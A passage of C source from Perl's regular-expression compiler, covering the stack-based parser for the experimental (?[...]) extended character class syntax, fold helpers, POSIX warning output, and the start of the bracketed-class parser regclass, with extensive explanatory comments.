operators and operands not yet resolved */ AV* fence_stack = NULL; /* A stack containing the positions in 'stack' of where the undealt-with left parens would be if they were actually put there */ /* The 'volatile' is a workaround for an optimiser bug * in Solaris Studio 12.3. See RT #127455 */ volatile IV fence = 0; /* Position of where most recent undealt- with left paren in stack is; -1 if none. */ STRLEN len; /* Temporary */ regnode_offset node; /* Temporary, and final regnode returned by this function */ const bool save_fold = FOLD; /* Temporary */ char *save_end, *save_parse; /* Temporaries */ const bool in_locale = LOC; /* we turn off /l during processing */ GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_HANDLE_REGEX_SETS; DEBUG_PARSE("xcls"); if (in_locale) { set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET); } /* The use of this operator implies /u. This is required so that the * compile time values are valid in all runtime cases */ REQUIRE_UNI_RULES(flagp, 0); ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__REGEX_SETS, "The regex_sets feature is experimental"); /* Everything in this construct is a metacharacter. Operands begin with * either a '\' (for an escape sequence), or a '[' for a bracketed * character class. Any other character should be an operator, or * parenthesis for grouping. Both types of operands are handled by calling * regclass() to parse them. It is called with a parameter to indicate to * return the computed inversion list. The parsing here is implemented via * a stack. Each entry on the stack is a single character representing one * of the operators; or else a pointer to an operand inversion list. */ #define IS_OPERATOR(a) SvIOK(a) #define IS_OPERAND(a) (! IS_OPERATOR(a)) /* The stack is kept in Łukasiewicz order. (That's pronounced similar * to luke-a-shave-itch (or -itz), but people who didn't want to bother * with pronouncing it called it Reverse Polish instead, but now that YOU * know how to pronounce it you can use the correct term, thus giving due * credit to the person who invented it, and impressing your geek friends. * Wikipedia says that the pronounciation of "Ł" has been changing so that * it is now more like an English initial W (as in wonk) than an L.) * * This means that, for example, 'a | b & c' is stored on the stack as * * c [4] * b [3] * & [2] * a [1] * | [0] * * where the numbers in brackets give the stack [array] element number. * In this implementation, parentheses are not stored on the stack. * Instead a '(' creates a "fence" so that the part of the stack below the * fence is invisible except to the corresponding ')' (this allows us to * replace testing for parens, by using instead subtraction of the fence * position). As new operands are processed they are pushed onto the stack * (except as noted in the next paragraph). New operators of higher * precedence than the current final one are inserted on the stack before * the lhs operand (so that when the rhs is pushed next, everything will be * in the correct positions shown above. When an operator of equal or * lower precedence is encountered in parsing, all the stacked operations * of equal or higher precedence are evaluated, leaving the result as the * top entry on the stack. This makes higher precedence operations * evaluate before lower precedence ones, and causes operations of equal * precedence to left associate. * * The only unary operator '!' is immediately pushed onto the stack when * encountered. When an operand is encountered, if the top of the stack is * a '!", the complement is immediately performed, and the '!' popped. The * resulting value is treated as a new operand, and the logic in the * previous paragraph is executed. Thus in the expression * [a] + ! [b] * the stack looks like * * ! * a * + * * as 'b' gets parsed, the latter gets evaluated to '!b', and the stack * becomes * * !b * a * + * * A ')' is treated as an operator with lower precedence than all the * aforementioned ones, which causes all operations on the stack above the * corresponding '(' to be evaluated down to a single resultant operand. * Then the fence for the '(' is removed, and the operand goes through the * algorithm above, without the fence. * * A separate stack is kept of the fence positions, so that the position of * the latest so-far unbalanced '(' is at the top of it. * * The ']' ending the construct is treated as the lowest operator of all, * so that everything gets evaluated down to a single operand, which is the * result */ sv_2mortal((SV *)(stack = newAV())); sv_2mortal((SV *)(fence_stack = newAV())); while (RExC_parse < RExC_end) { I32 top_index; /* Index of top-most element in 'stack' */ SV** top_ptr; /* Pointer to top 'stack' element */ SV* current = NULL; /* To contain the current inversion list operand */ SV* only_to_avoid_leaks; skip_to_be_ignored_text(pRExC_state, &RExC_parse, TRUE /* Force /x */ ); if (RExC_parse >= RExC_end) { /* Fail */ break; } curchar = UCHARAT(RExC_parse); redo_curchar: #ifdef ENABLE_REGEX_SETS_DEBUGGING /* Enable with -Accflags=-DENABLE_REGEX_SETS_DEBUGGING */ DEBUG_U(dump_regex_sets_structures(pRExC_state, stack, fence, fence_stack)); #endif top_index = av_tindex_skip_len_mg(stack); switch (curchar) { SV** stacked_ptr; /* Ptr to something already on 'stack' */ char stacked_operator; /* The topmost operator on the 'stack'. */ SV* lhs; /* Operand to the left of the operator */ SV* rhs; /* Operand to the right of the operator */ SV* fence_ptr; /* Pointer to top element of the fence stack */ case '(': if ( RExC_parse < RExC_end - 2 && UCHARAT(RExC_parse + 1) == '?' && UCHARAT(RExC_parse + 2) == '^') { /* If is a '(?', could be an embedded '(?^flags:(?[...])'. * This happens when we have some thing like * * my $thai_or_lao = qr/(?[ \p{Thai} + \p{Lao} ])/; * ... * qr/(?[ \p{Digit} & $thai_or_lao ])/; * * Here we would be handling the interpolated * '$thai_or_lao'. We handle this by a recursive call to * ourselves which returns the inversion list the * interpolated expression evaluates to. We use the flags * from the interpolated pattern. */ U32 save_flags = RExC_flags; const char * save_parse; RExC_parse += 2; /* Skip past the '(?' */ save_parse = RExC_parse; /* Parse the flags for the '(?'. We already know the first * flag to parse is a '^' */ parse_lparen_question_flags(pRExC_state); if ( RExC_parse >= RExC_end - 4 || UCHARAT(RExC_parse) != ':' || UCHARAT(++RExC_parse) != '(' || UCHARAT(++RExC_parse) != '?' || UCHARAT(++RExC_parse) != '[') { /* In combination with the above, this moves the * pointer to the point just after the first erroneous * character. */ if (RExC_parse >= RExC_end - 4) { RExC_parse = RExC_end; } else if (RExC_parse != save_parse) { RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; } vFAIL("Expecting '(?flags:(?[...'"); } /* Recurse, with the meat of the embedded expression */ RExC_parse++; if (! handle_regex_sets(pRExC_state, &current, flagp, depth+1, oregcomp_parse)) { RETURN_FAIL_ON_RESTART(*flagp, flagp); } /* Here, 'current' contains the embedded expression's * inversion list, and RExC_parse points to the trailing * ']'; the next character should be the ')' */ RExC_parse++; if (UCHARAT(RExC_parse) != ')') vFAIL("Expecting close paren for nested extended charclass"); /* Then the ')' matching the original '(' handled by this * case: statement */ RExC_parse++; if (UCHARAT(RExC_parse) != ')') vFAIL("Expecting close paren for wrapper for nested extended charclass"); RExC_flags = save_flags; goto handle_operand; } /* A regular '('. Look behind for illegal syntax */ if (top_index - fence >= 0) { /* If the top entry on the stack is an operator, it had * better be a '!', otherwise the entry below the top * operand should be an operator */ if ( ! (top_ptr = av_fetch(stack, top_index, FALSE)) || (IS_OPERATOR(*top_ptr) && SvUV(*top_ptr) != '!') || ( IS_OPERAND(*top_ptr) && ( top_index - fence < 1 || ! (stacked_ptr = av_fetch(stack, top_index - 1, FALSE)) || ! IS_OPERATOR(*stacked_ptr)))) { RExC_parse++; vFAIL("Unexpected '(' with no preceding operator"); } } /* Stack the position of this undealt-with left paren */ av_push(fence_stack, newSViv(fence)); fence = top_index + 1; break; case '\\': /* regclass() can only return RESTART_PARSE and NEED_UTF8 if * multi-char folds are allowed. */ if (!regclass(pRExC_state, flagp, depth+1, TRUE, /* means parse just the next thing */ FALSE, /* don't allow multi-char folds */ FALSE, /* don't silence non-portable warnings. */ TRUE, /* strict */ FALSE, /* Require return to be an ANYOF */ &current)) { RETURN_FAIL_ON_RESTART(*flagp, flagp); goto regclass_failed; } /* regclass() will return with parsing just the \ sequence, * leaving the parse pointer at the next thing to parse */ RExC_parse--; goto handle_operand; case '[': /* Is a bracketed character class */ { /* See if this is a [:posix:] class. */ bool is_posix_class = (OOB_NAMEDCLASS < handle_possible_posix(pRExC_state, RExC_parse + 1, NULL, NULL, TRUE /* checking only */)); /* If it is a posix class, leave the parse pointer at the '[' * to fool regclass() into thinking it is part of a * '[[:posix:]]'. */ if (! is_posix_class) { RExC_parse++; } /* regclass() can only return RESTART_PARSE and NEED_UTF8 if * multi-char folds are allowed. */ if (!regclass(pRExC_state, flagp, depth+1, is_posix_class, /* parse the whole char class only if not a posix class */ FALSE, /* don't allow multi-char folds */ TRUE, /* silence non-portable warnings. */ TRUE, /* strict */ FALSE, /* Require return to be an ANYOF */ &current)) { RETURN_FAIL_ON_RESTART(*flagp, flagp); goto regclass_failed; } if (! current) { break; } /* function call leaves parse pointing to the ']', except if we * faked it */ if (is_posix_class) { RExC_parse--; } goto handle_operand; } case ']': if (top_index >= 1) { goto join_operators; } /* Only a single operand on the stack: are done */ goto done; case ')': if (av_tindex_skip_len_mg(fence_stack) < 0) { if (UCHARAT(RExC_parse - 1) == ']') { break; } RExC_parse++; vFAIL("Unexpected ')'"); } /* If nothing after the fence, is missing an operand */ if (top_index - fence < 0) { RExC_parse++; goto bad_syntax; } /* If at least two things on the stack, treat this as an * operator */ if (top_index - fence >= 1) { goto join_operators; } /* Here only a single thing on the fenced stack, and there is a * fence. Get rid of it */ fence_ptr = av_pop(fence_stack); assert(fence_ptr); fence = SvIV(fence_ptr); SvREFCNT_dec_NN(fence_ptr); fence_ptr = NULL; if (fence < 0) { fence = 0; } /* Having gotten rid of the fence, we pop the operand at the * stack top and process it as a newly encountered operand */ current = av_pop(stack); if (IS_OPERAND(current)) { goto handle_operand; } RExC_parse++; goto bad_syntax; case '&': case '|': case '+': case '-': case '^': /* These binary operators should have a left operand already * parsed */ if ( top_index - fence < 0 || top_index - fence == 1 || ( ! (top_ptr = av_fetch(stack, top_index, FALSE))) || ! IS_OPERAND(*top_ptr)) { goto unexpected_binary; } /* If only the one operand is on the part of the stack visible * to us, we just place this operator in the proper position */ if (top_index - fence < 2) { /* Place the operator before the operand */ SV* lhs = av_pop(stack); av_push(stack, newSVuv(curchar)); av_push(stack, lhs); break; } /* But if there is something else on the stack, we need to * process it before this new operator if and only if the * stacked operation has equal or higher precedence than the * new one */ join_operators: /* The operator on the stack is supposed to be below both its * operands */ if ( ! (stacked_ptr = av_fetch(stack, top_index - 2, FALSE)) || IS_OPERAND(*stacked_ptr)) { /* But if not, it's legal and indicates we are completely * done if and only if we're currently processing a ']', * which should be the final thing in the expression */ if (curchar == ']') { goto done; } unexpected_binary: RExC_parse++; vFAIL2("Unexpected binary operator '%c' with no " "preceding operand", curchar); } stacked_operator = (char) SvUV(*stacked_ptr); if (regex_set_precedence(curchar) > regex_set_precedence(stacked_operator)) { /* Here, the new operator has higher precedence than the * stacked one. This means we need to add the new one to * the stack to await its rhs operand (and maybe more * stuff). We put it before the lhs operand, leaving * untouched the stacked operator and everything below it * */ lhs = av_pop(stack); assert(IS_OPERAND(lhs)); av_push(stack, newSVuv(curchar)); av_push(stack, lhs); break; } /* Here, the new operator has equal or lower precedence than * what's already there. This means the operation already * there should be performed now, before the new one. */ rhs = av_pop(stack); if (! IS_OPERAND(rhs)) { /* This can happen when a ! is not followed by an operand, * like in /(?[\t &!])/ */ goto bad_syntax; } lhs = av_pop(stack); if (! IS_OPERAND(lhs)) { /* This can happen when there is an empty (), like in * /(?[[0]+()+])/ */ goto bad_syntax; } switch (stacked_operator) { case '&': _invlist_intersection(lhs, rhs, &rhs); break; case '|': case '+': _invlist_union(lhs, rhs, &rhs); break; case '-': _invlist_subtract(lhs, rhs, &rhs); break; case '^': /* The union minus the intersection */ { SV* i = NULL; SV* u = NULL; _invlist_union(lhs, rhs, &u); _invlist_intersection(lhs, rhs, &i); _invlist_subtract(u, i, &rhs); SvREFCNT_dec_NN(i); SvREFCNT_dec_NN(u); break; } } SvREFCNT_dec(lhs); /* Here, the higher precedence operation has been done, and the * result is in 'rhs'. We overwrite the stacked operator with * the result. Then we redo this code to either push the new * operator onto the stack or perform any higher precedence * stacked operation */ only_to_avoid_leaks = av_pop(stack); SvREFCNT_dec(only_to_avoid_leaks); av_push(stack, rhs); goto redo_curchar; case '!': /* Highest priority, right associative */ /* If what's already at the top of the stack is another '!", * they just cancel each other out */ if ( (top_ptr = av_fetch(stack, top_index, FALSE)) && (IS_OPERATOR(*top_ptr) && SvUV(*top_ptr) == '!')) { only_to_avoid_leaks = av_pop(stack); SvREFCNT_dec(only_to_avoid_leaks); } else { /* Otherwise, since it's right associative, just push onto the stack */ av_push(stack, newSVuv(curchar)); } break; default: RExC_parse += (UTF) ? UTF8SKIP(RExC_parse) : 1; if (RExC_parse >= RExC_end) { break; } vFAIL("Unexpected character"); handle_operand: /* Here 'current' is the operand. If something is already on the * stack, we have to check if it is a !. But first, the code above * may have altered the stack in the time since we earlier set * 'top_index'. */ top_index = av_tindex_skip_len_mg(stack); if (top_index - fence >= 0) { /* If the top entry on the stack is an operator, it had better * be a '!', otherwise the entry below the top operand should * be an operator */ top_ptr = av_fetch(stack, top_index, FALSE); assert(top_ptr); if (IS_OPERATOR(*top_ptr)) { /* The only permissible operator at the top of the stack is * '!', which is applied immediately to this operand. */ curchar = (char) SvUV(*top_ptr); if (curchar != '!') { SvREFCNT_dec(current); vFAIL2("Unexpected binary operator '%c' with no " "preceding operand", curchar); } _invlist_invert(current); only_to_avoid_leaks = av_pop(stack); SvREFCNT_dec(only_to_avoid_leaks); /* And we redo with the inverted operand. This allows * handling multiple ! in a row */ goto handle_operand; } /* Single operand is ok only for the non-binary ')' * operator */ else if ((top_index - fence == 0 && curchar != ')') || (top_index - fence > 0 && (! (stacked_ptr = av_fetch(stack, top_index - 1, FALSE)) || IS_OPERAND(*stacked_ptr)))) { SvREFCNT_dec(current); vFAIL("Operand with no preceding operator"); } } /* Here there was nothing on the stack or the top element was * another operand. Just add this new one */ av_push(stack, current); } /* End of switch on next parse token */ RExC_parse += (UTF) ? UTF8SKIP(RExC_parse) : 1; } /* End of loop parsing through the construct */ vFAIL("Syntax error in (?[...])"); done: if (RExC_parse >= RExC_end || RExC_parse[1] != ')') { if (RExC_parse < RExC_end) { RExC_parse++; } vFAIL("Unexpected ']' with no following ')' in (?[..."); } if (av_tindex_skip_len_mg(fence_stack) >= 0) { vFAIL("Unmatched ("); } if (av_tindex_skip_len_mg(stack) < 0 /* Was empty */ || ((final = av_pop(stack)) == NULL) || ! IS_OPERAND(final) || ! is_invlist(final) || av_tindex_skip_len_mg(stack) >= 0) /* More left on stack */ { bad_syntax: SvREFCNT_dec(final); vFAIL("Incomplete expression within '(?[ ])'"); } /* Here, 'final' is the resultant inversion list from evaluating the * expression. Return it if so requested */ if (return_invlist) { *return_invlist = final; return END; } /* Otherwise generate a resultant node, based on 'final'. regclass() is * expecting a string of ranges and individual code points */ invlist_iterinit(final); result_string = newSVpvs(""); while (invlist_iternext(final, &start, &end)) { if (start == end) { Perl_sv_catpvf(aTHX_ result_string, "\\x{%" UVXf "}", start); } else { Perl_sv_catpvf(aTHX_ result_string, "\\x{%" UVXf "}-\\x{%" UVXf "}", start, end); } } /* About to generate an ANYOF (or similar) node from the inversion list we * have calculated */ save_parse = RExC_parse; RExC_parse = SvPV(result_string, len); save_end = RExC_end; RExC_end = RExC_parse + len; TURN_OFF_WARNINGS_IN_SUBSTITUTE_PARSE; /* We turn off folding around the call, as the class we have constructed * already has all folding taken into consideration, and we don't want * regclass() to add to that */ RExC_flags &= ~RXf_PMf_FOLD; /* regclass() can only return RESTART_PARSE and NEED_UTF8 if multi-char * folds are allowed. */ node = regclass(pRExC_state, flagp, depth+1, FALSE, /* means parse the whole char class */ FALSE, /* don't allow multi-char folds */ TRUE, /* silence non-portable warnings. The above may very well have generated non-portable code points, but they're valid on this machine */ FALSE, /* similarly, no need for strict */ FALSE, /* Require return to be an ANYOF */ NULL ); RESTORE_WARNINGS; RExC_parse = save_parse + 1; RExC_end = save_end; SvREFCNT_dec_NN(final); SvREFCNT_dec_NN(result_string); if (save_fold) { RExC_flags |= RXf_PMf_FOLD; } if (!node) { RETURN_FAIL_ON_RESTART(*flagp, flagp); goto regclass_failed; } /* Fix up the node type if we are in locale. (We have pretended we are * under /u for the purposes of regclass(), as this construct will only * work under UTF-8 locales. But now we change the opcode to be ANYOFL (so * as to cause any warnings about bad locales to be output in regexec.c), * and add the flag that indicates to check if not in a UTF-8 locale. The * reason we above forbid optimization into something other than an ANYOF * node is simply to minimize the number of code changes in regexec.c. * Otherwise we would have to create new EXACTish node types and deal with * them. This decision could be revisited should this construct become * popular. * * (One might think we could look at the resulting ANYOF node and suppress * the flag if everything is above 255, as those would be UTF-8 only, * but this isn't true, as the components that led to that result could * have been locale-affected, and just happen to cancel each other out * under UTF-8 locales.) */ if (in_locale) { set_regex_charset(&RExC_flags, REGEX_LOCALE_CHARSET); assert(OP(REGNODE_p(node)) == ANYOF); OP(REGNODE_p(node)) = ANYOFL; ANYOF_FLAGS(REGNODE_p(node)) |= ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } nextchar(pRExC_state); Set_Node_Length(REGNODE_p(node), RExC_parse - oregcomp_parse + 1); /* MJD */ return node; regclass_failed: FAIL2("panic: regclass returned failure to handle_sets, " "flags=%#" UVxf, (UV) *flagp); } #ifdef ENABLE_REGEX_SETS_DEBUGGING STATIC void S_dump_regex_sets_structures(pTHX_ RExC_state_t *pRExC_state, AV * stack, const IV fence, AV * fence_stack) { /* Dumps the stacks in handle_regex_sets() */ const SSize_t stack_top = av_tindex_skip_len_mg(stack); const SSize_t fence_stack_top = av_tindex_skip_len_mg(fence_stack); SSize_t i; PERL_ARGS_ASSERT_DUMP_REGEX_SETS_STRUCTURES; PerlIO_printf(Perl_debug_log, "\nParse position is:%s\n", RExC_parse); if (stack_top < 0) { PerlIO_printf(Perl_debug_log, "Nothing on stack\n"); } else { PerlIO_printf(Perl_debug_log, "Stack: (fence=%d)\n", (int) fence); for (i = stack_top; i >= 0; i--) { SV ** element_ptr = av_fetch(stack, i, FALSE); if (! element_ptr) { } if (IS_OPERATOR(*element_ptr)) { PerlIO_printf(Perl_debug_log, "[%d]: %c\n", (int) i, (int) SvIV(*element_ptr)); } else { PerlIO_printf(Perl_debug_log, "[%d] ", (int) i); sv_dump(*element_ptr); } } } if (fence_stack_top < 0) { PerlIO_printf(Perl_debug_log, "Nothing on fence_stack\n"); } else { PerlIO_printf(Perl_debug_log, "Fence_stack: \n"); for (i = fence_stack_top; i >= 0; i--) { SV ** element_ptr = av_fetch(fence_stack, i, FALSE); if (! element_ptr) { } PerlIO_printf(Perl_debug_log, "[%d]: %d\n", (int) i, (int) SvIV(*element_ptr)); } } } #endif #undef IS_OPERATOR #undef IS_OPERAND STATIC void S_add_above_Latin1_folds(pTHX_ RExC_state_t *pRExC_state, const U8 cp, SV** invlist) { /* This adds the Latin1/above-Latin1 folding rules. * * This should be called only for a Latin1-range code points, cp, which is * known to be involved in a simple fold with other code points above * Latin1. It would give false results if /aa has been specified. * Multi-char folds are outside the scope of this, and must be handled * specially. */ PERL_ARGS_ASSERT_ADD_ABOVE_LATIN1_FOLDS; assert(HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(cp)); /* The rules that are valid for all Unicode versions are hard-coded in */ switch (cp) { case 'k': case 'K': *invlist = add_cp_to_invlist(*invlist, KELVIN_SIGN); break; case 's': case 'S': *invlist = add_cp_to_invlist(*invlist, LATIN_SMALL_LETTER_LONG_S); break; case MICRO_SIGN: *invlist = add_cp_to_invlist(*invlist, GREEK_CAPITAL_LETTER_MU); *invlist = add_cp_to_invlist(*invlist, GREEK_SMALL_LETTER_MU); break; case LATIN_CAPITAL_LETTER_A_WITH_RING_ABOVE: case LATIN_SMALL_LETTER_A_WITH_RING_ABOVE: *invlist = add_cp_to_invlist(*invlist, ANGSTROM_SIGN); break; case LATIN_SMALL_LETTER_Y_WITH_DIAERESIS: *invlist = add_cp_to_invlist(*invlist, LATIN_CAPITAL_LETTER_Y_WITH_DIAERESIS); break; default: /* Other code points are checked against the data for the current Unicode version */ { Size_t folds_count; unsigned int first_fold; const unsigned int * remaining_folds; UV folded_cp; if (isASCII(cp)) { folded_cp = toFOLD(cp); } else { U8 dummy_fold[UTF8_MAXBYTES_CASE+1]; Size_t dummy_len; folded_cp = _to_fold_latin1(cp, dummy_fold, &dummy_len, 0); } if (folded_cp > 255) { *invlist = add_cp_to_invlist(*invlist, folded_cp); } folds_count = _inverse_folds(folded_cp, &first_fold, &remaining_folds); if (folds_count == 0) { /* Use deprecated warning to increase the chances of this being * output */ ckWARN2reg_d(RExC_parse, "Perl folding rules are not up-to-date for 0x%02X;" " please use the perlbug utility to report;", cp); } else { unsigned int i; if (first_fold > 255) { *invlist = add_cp_to_invlist(*invlist, first_fold); } for (i = 0; i < folds_count - 1; i++) { if (remaining_folds[i] > 255) { *invlist = add_cp_to_invlist(*invlist, remaining_folds[i]); } } } break; } } } STATIC void S_output_posix_warnings(pTHX_ RExC_state_t *pRExC_state, AV* posix_warnings) { /* Output the elements of the array given by '*posix_warnings' as REGEXP * warnings. */ SV * msg; const bool first_is_fatal = ckDEAD(packWARN(WARN_REGEXP)); PERL_ARGS_ASSERT_OUTPUT_POSIX_WARNINGS; if (! TO_OUTPUT_WARNINGS(RExC_parse)) { return; } while ((msg = av_shift(posix_warnings)) != &PL_sv_undef) { if (first_is_fatal) { /* Avoid leaking this */ av_undef(posix_warnings); /* This isn't necessary if the array is mortal, but is a fail-safe */ (void) sv_2mortal(msg); PREPARE_TO_DIE; } Perl_warner(aTHX_ packWARN(WARN_REGEXP), "%s", SvPVX(msg)); SvREFCNT_dec_NN(msg); } UPDATE_WARNINGS_LOC(RExC_parse); } STATIC AV * S_add_multi_match(pTHX_ AV* multi_char_matches, SV* multi_string, const STRLEN cp_count) { /* This adds the string scalar <multi_string> to the array * <multi_char_matches>. <multi_string> is known to have exactly * <cp_count> code points in it. This is used when constructing a * bracketed character class and we find something that needs to match more * than a single character. * * <multi_char_matches> is actually an array of arrays. Each top-level * element is an array that contains all the strings known so far that are * the same length. And that length (in number of code points) is the same * as the index of the top-level array. Hence, the [2] element is an * array, each element thereof is a string containing TWO code points; * while element [3] is for strings of THREE characters, and so on. Since * this is for multi-char strings there can never be a [0] nor [1] element. * * When we rewrite the character class below, we will do so such that the * longest strings are written first, so that it prefers the longest * matching strings first. This is done even if it turns out that any * quantifier is non-greedy, out of this programmer's (khw) laziness. Tom * Christiansen has agreed that this is ok. This makes the test for the * ligature 'ffi' come before the test for 'ff', for example */ AV* this_array; AV** this_array_ptr; PERL_ARGS_ASSERT_ADD_MULTI_MATCH; if (! multi_char_matches) { multi_char_matches = newAV(); } if (av_exists(multi_char_matches, cp_count)) { this_array_ptr = (AV**) av_fetch(multi_char_matches, cp_count, FALSE); this_array = *this_array_ptr; } else { this_array = newAV(); av_store(multi_char_matches, cp_count, (SV*) this_array); } av_push(this_array, multi_string); return multi_char_matches; } /* The names of properties whose definitions are not known at compile time are * stored in this SV, after a constant heading. So if the length has been * changed since initialization, then there is a run-time definition. */ #define HAS_NONLOCALE_RUNTIME_PROPERTY_DEFINITION \ (SvCUR(listsv) != initial_listsv_len) /* There is a restricted set of white space characters that are legal when * ignoring white space in a bracketed character class. This generates the * code to skip them. * * There is a line below that uses the same white space criteria but is outside * this macro. Both here and there must use the same definition */ #define SKIP_BRACKETED_WHITE_SPACE(do_skip, p) \ STMT_START { \ if (do_skip) { \ while (isBLANK_A(UCHARAT(p))) \ { \ p++; \ } \ } \ } STMT_END STATIC regnode_offset S_regclass(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth, const bool stop_at_1, /* Just parse the next thing, don't look for a full character class */ bool allow_mutiple_chars, const bool silence_non_portable, /* Don't output warnings about too large characters */ const bool strict, bool optimizable, /* ? Allow a non-ANYOF return node */ SV** ret_invlist /* Return an inversion list, not a node */ ) { /* parse a bracketed class specification. Most of these will produce an * ANYOF node; but something like [a] will produce an EXACT node; [aA], an * EXACTFish node; [[:ascii:]], a POSIXA node; etc. It is more complex * under /i with multi-character folds: it will be rewritten following the * paradigm of this example, where the <multi-fold>s are characters which * fold to multiple character sequences: * /[abc\x{multi-fold1}def\x{multi-fold2}ghi]/i * gets effectively rewritten as: * /(?:\x{multi-fold1}|\x{multi-fold2}|[abcdefghi]/i * reg() gets called (recursively) on the rewritten version, and this * function will return what it constructs. (Actually the <multi-fold>s * aren't physically removed from the [abcdefghi], it's just that they are * ignored in the recursion by means of a flag: * <RExC_in_multi_char_class>.) * * ANYOF nodes contain a bit map for the first NUM_ANYOF_CODE_POINTS * characters, with the corresponding bit set if that character is in the * list. For characters above this, an inversion list is used. There * are extra bits for \w, etc. in locale ANYOFs, as what these match is not * determinable at compile time * * On success, returns the offset at which any next node should be placed * into the regex engine program being compiled. * * Returns 0 otherwise, setting flagp to RESTART_PARSE if the parse needs * to be restarted, or'd with NEED_UTF8 if the pattern needs to be upgraded to * UTF-8 */ dVAR; UV prevvalue = OOB_UNICODE, save_prevvalue = OOB_UNICODE; IV range = 0; UV value = OOB_UNICODE, save_value = OOB_UNICODE; regnode_offset ret = -1; /* Initialized to an illegal value */ STRLEN numlen; int namedclass = OOB_NAMEDCLASS; char *rangebegin = NULL; SV *listsv = NULL; /* List of \p{user-defined} whose definitions aren't available at the time this was called */ STRLEN initial_listsv_len = 0; /* Kind of a kludge to see if it is more than just initialized. */ SV* properties = NULL; /* Code points that match \p{} \P{} */ SV* posixes = NULL; /* Code points that match classes like [:word:], extended beyond the Latin1 range. These have to be kept separate from other code points for much of this function because their handling is different under /i, and for most classes under /d as well */ SV* nposixes = NULL; /* Similarly for [:^word:]. These are kept separate for a while from the non-complemented versions because of complications with /d matching */ SV* simple_posixes = NULL; /* But under some conditions, the classes can be treated more simply than the general case, leading to less compilation and execution work */ UV element_count = 0; /* Number of distinct elements in the class. Optimizations may be possible if this is tiny */ AV * multi_char_matches = NULL; /* Code points that fold to more than one character; used under /i */ UV n; char * stop_ptr = RExC_end; /* where to stop parsing */ /* ignore unescaped whitespace? */ const bool skip_white = cBOOL( ret_invlist || (RExC_flags & RXf_PMf_EXTENDED_MORE)); /* inversion list of code points this node matches only when the target * string is in UTF-8. These are all non-ASCII, < 256. (Because is under * /d) */ SV* upper_latin1_only_utf8_matches = NULL; /* Inversion list of code points this node matches regardless of things * like locale, folding, utf8ness of the target string */ SV* cp_list = NULL; /* Like cp_list, but code points on this list need to be checked for things * that fold to/from them under /i */ SV* cp_foldable_list = NULL; /* Like cp_list, but code points on this list are valid only when the * runtime locale is UTF-8 */ SV* only_utf8_locale_list = NULL; /* In a range, if one of the endpoints is non-character-set portable, * meaning that it hard-codes a code point that may mean a different * charactger in ASCII vs. EBCDIC, as opposed to, say, a literal 'A' or a * mnemonic '\t' which each mean the same character no matter which * character set the platform is on. */ unsigned int non_portable_endpoint = 0; /* Is the range unicode? which means on a platform that isn't 1-1 native * to Unicode (i.e. non-ASCII), each code point in it should be considered * to be a Unicode value. */ bool unicode_range = FALSE; bool invert = FALSE; /* Is this class to be complemented */ bool warn_super = ALWAYS_WARN_SUPER; const char * orig_parse = RExC_parse; /* This variable is used to mark where the end in the input is of something * that looks like a POSIX construct but isn't. During the parse, when * something looks like it could be such a construct is encountered, it is * checked for being one, but not if we've already checked this area of the * input. Only after this position is reached do we check again */ char *not_posix_region_end = RExC_parse - 1; AV* posix_warnings = NULL; const bool do_posix_warnings = ckWARN(WARN_REGEXP); U8 op = END; /* The returned node-type, initialized to an impossible one. */ U8 anyof_flags = 0; /* flag bits if the node is an ANYOF-type */ U32 posixl = 0; /* bit field of posix classes matched under /l */ /* Flags as to what things aren't knowable until runtime. (Note that these are * mutually exclusive.) */ #define HAS_USER_DEFINED_PROPERTY 0x01 /* /u any user-defined properties that haven't been defined as of yet */ #define HAS_D_RUNTIME_DEPENDENCY 0x02 /* /d if the target being matched is UTF-8 or not */ #define HAS_L_RUNTIME_DEPENDENCY 0x04 /* /l what the posix classes match and what gets folded */ U32 has_runtime_dependency = 0; /* OR of the above flags */ GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGCLASS; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif /* If wants an inversion list returned, we can't optimize to something * else. */ if (ret_invlist) { optimizable = FALSE; } DEBUG_PARSE("clas"); #if UNICODE_MAJOR_VERSION < 3 /* no multifolds in early Unicode */ \ || (UNICODE_MAJOR_VERSION == 3 && UNICODE_DOT_VERSION == 0 \ && UNICODE_DOT_DOT_VERSION == 0) allow_mutiple_chars = FALSE; #endif /* We include the /i status at the beginning of this so that we can * know it at runtime */ listsv = sv_2mortal(Perl_newSVpvf(aTHX_ "#%d\n", cBOOL(FOLD))); initial_listsv_len = SvCUR(listsv); SvTEMP_off(listsv); /* Grr, TEMPs and mortals are conflated. */ SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); assert(RExC_parse <= RExC_end); if (UCHARAT(RExC_parse) == '^') { /* Complement the class */ RExC_parse++; invert = TRUE; allow_mutiple_chars = FALSE; MARK_NAUGHTY(1); SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); } /* Check that they didn't say [:posix:] instead of [[:posix:]] */ if (! ret_invlist && MAYBE_POSIXCC(UCHARAT(RExC_parse))) { int maybe_class = handle_possible_posix(pRExC_state, RExC_parse, &not_posix_region_end, NULL, TRUE /* checking only */); if (maybe_class >= OOB_NAMEDCLASS && do_posix_warnings) { ckWARN4reg(not_posix_region_end, "POSIX syntax [%c %c] belongs inside character classes%s", *RExC_parse, *RExC_parse, (maybe_class == OOB_NAMEDCLASS) ? ((POSIXCC_NOTYET(*RExC_parse)) ? " (but this one isn't implemented)" : " (but this one isn't fully valid)") : "" ); } } /* If the caller wants us to just parse a single element, accomplish this * by faking the loop ending condition */ if (stop_at_1 && RExC_end > RExC_parse) { stop_ptr = RExC_parse + 1; } /* allow 1st char to be ']' (allowing it to be '-' is dealt with later) */ if (UCHARAT(RExC_parse) == ']') goto charclassloop; while (1) { if ( posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0 && RExC_parse > not_posix_region_end) { /* Warnings about posix class issues are considered tentative until * we are far enough along in the parse that we can no longer * change our mind, at which point we output them. This is done * each time through the loop so that a later class won't zap them * before they have been dealt with. */ output_posix_warnings(pRExC_state, posix_warnings); } if (RExC_parse >= stop_ptr) { break; } 